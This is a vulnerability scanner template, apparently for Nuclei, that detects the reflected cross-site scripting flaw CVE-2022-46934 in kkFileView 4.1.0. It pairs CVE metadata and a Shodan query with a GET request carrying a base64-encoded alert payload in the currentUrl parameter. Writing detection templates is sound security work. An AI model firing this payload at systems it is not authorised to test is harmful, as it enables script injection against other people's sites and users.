id: CVE-2022-46934

info:
  name: kkFileView 4.1.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    kkFileView 4.1.0 is susceptible to cross-site scripting via the url parameter at /controller/OnlinePreviewController.java. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  remediation: |
    Upgrade to a patched version of kkFileView or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/kekingcn/kkFileView/issues/411
    - https://nvd.nist.gov/vuln/detail/CVE-2022-46934
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-46934
    cwe-id: CWE-79
    epss-score: 0.00085
    epss-percentile: 0.35419
    cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: keking
    product: kkfileview
    shodan-query: http.html:"kkFileView"
  tags: xss,cve,cve2022,kkfileview

http:
  - method: GET
    path:
      - "{{BaseURL}}/picturesPreview?currentUrl=aHR0cDovLyIpO2FsZXJ0KGRvY3VtZW50LmRvbWFpbik7Ly8=&urls"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - document.getElementById("http://");alert(document.domain);//").click();
          - viewer.min.css
        condition: and

      - type: status
        status:
          - 200
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